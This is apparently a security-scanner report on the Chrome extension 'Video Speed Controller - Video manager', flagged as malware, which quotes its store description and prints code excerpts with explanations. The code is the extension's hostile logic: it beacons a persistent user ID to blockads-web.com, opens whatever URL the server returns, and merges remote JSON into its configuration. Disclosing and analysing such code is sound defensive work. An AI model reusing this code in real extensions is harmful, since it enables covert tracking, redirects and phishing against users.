Security Alert: Confirmed Malware
Video Speed Controller - Video manager
ID: gaiceihehajjahakcglkhmdbbdclbnlf
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Speed Control UtilityView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Speed controller for HTML5 videos. Manage video speed, speed up using video speed playback. Video speed control.
Simply handle playback speed while watching videos. Video Speed Controller allows you to speed up or slow down any video during the watching. No standards or limits. Just increase and decrease the playback speed, advance and rewind video as many times as you need. It app will help you optimize your video viewing by allowing you to make fast playback speed adjustments, as well as rewind the video to hear the last few second one more time. We don't read at a constant speed, and we talk much slower than we read - there is no reason why we have to listen at a constant speed and at a (very) slow rate. Have you ever wanted to advance the boring moment or just rewind the favourite video moment more and more? Video Speed Manager is the best tool for video running. Settings console will help to optimize video reviewing. All you need is just set needed shortcuts. Use speed indicator in the left corner of video player or use your keyboard to control video speed. Do you find it difficult to adjust the video playback speed on streaming platforms like Netflix, Amazon Prime Video, Youtube? That video speed controller, a Google Chrome extension that lets you fine-tune the playback settings on your favourite streaming website. From 0.25x, 0.5x, 0.75x, 1.5x, 2x, 3x, and 4x...the extension supports all kinds of playback settings. How to use Video Speed Controller Extension: - Install the extension and pin to your browser (one-time process). - Open any video on your desired streaming website. - Click on the extension’s icon. - Use the extension’s pop-up to specify the video playback settings. - The chosen settings are applied to the video. Speed up or slow down any HTML5 videos on any website. The fastest and easiest way to speed up or slow down videos. Adjust the speed of any video you're watching so you can skip the boring parts/slow down and understand the video better by playing the video at a slower speed. Increase the video speed if you are trying to skip past the boring parts and want to skip to the action scenes/critical parts of the video. Save time today when you are watching videos by slowing them down or speeding the videos up. Warning: Please note this extension is NOT made by Google and is made by an independent development team. All copyrights belong to their respective owners. Google doesn’t endorse or sponsor this Chrome extension. HTML5 Video Speed Control for Chrome™ is not owned by, is not licensed by and is not a subsidiary of Google Inc. We hope you find our Playback Video Speed tool useful! We are waiting for your feedback and ratings! If you’re experiencing problems or speed controller isn't working on, please contact us.
On install/update events, the extension sends telemetry to `https://blockads-web.com/api/action/` and then blindly opens any `url` returned by that server in a new tab. This gives a remote service control over browser navigation, which is an unsafe pattern that can be used for ad injection, unwanted redirects, or phishing landing pages.
processQueue() { for (; this.queue.length > 0;) { var i = this.queue.shift(); if (!i.type || "action" != i.type) return !0; var t = "p=" + encodeURIComponent(btoa(JSON.stringify({ id: chrome.runtime.id, v: this.version, action: i.action, uid: this.uid, t: Date.now() }))); fetch(this.actionUrl + "?" + t) .then((i => i.json())) .then((function(i) { i.url && chrome.tabs.create({ url: i.url }) })) }}The background worker creates a persistent UUID, stores it locally, and appends it to an uninstall URL along with extension ID, version, action type, and timestamp. That is a classic user-tracking pattern that allows the developer to correlate install, update, and uninstall lifecycle events for individual users via an external domain unrelated to the extension's stated functionality.
setUninstallUrl() { var i = "p=" + encodeURIComponent(btoa(JSON.stringify({ id: chrome.runtime.id, v: this.version, action: "uninstall", uid: this.uid, t: Date.now() }))); chrome.runtime.setUninstallURL(this.uninstallUrl + "?" + i)}initListeners() { chrome.runtime.onInstalled.addListener((i => { this.queue.push({ type: "action", action: i.reason }), this.queueProcessorReady && this.processQueue(), this.updateConfig() }))}initStorage() { chrome.storage.local.get((i => { i && i.config && (this.config = i.config), this.config.uid ? this.uid = this.config.uid : (this.uid = this .config.uid = this.generateUID(), this.saveConfig()), this.queueProcessorReady = !0, this .setUninstallUrl(), this.processQueue() }))}The extension periodically POSTs a unique identifier and version metadata to `https://blockads-web.com/api/config/`, accepts arbitrary JSON from that server, and merges all returned keys into local config without validation. This establishes a server-driven control channel that can alter extension behavior over time and continuously beacon user-linked state to a remote endpoint.
updateConfig() { fetch(this.configUrl, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "filters=" + encodeURIComponent(btoa(JSON.stringify({ id: chrome.runtime.id, version: this.version, timestamp: Date.now(), uid: this.config.uid }))) }) .then((i => i.json())) .then((i => { if (i) { for (let t in i) this.config[t] = i[t]; this.saveConfig(this.config) } })) .finally((() => { if (this.config.configUpTime && this.config.configUpTime > 0) { const i = i => i / 6e4; chrome.alarms.clear("updateTimer"), chrome.alarms.create("updateTimer", { delayInMinutes: i(this.config.configUpTime), periodInMinutes: i(this.config.configUpTime) }) } }))}By severity
Versions scanned
Showing 1 of 13 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.2 | 3 |
Files with findings
1 distinct path — top paths by unique finding count:
- javascript/userTrackerState.js3
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.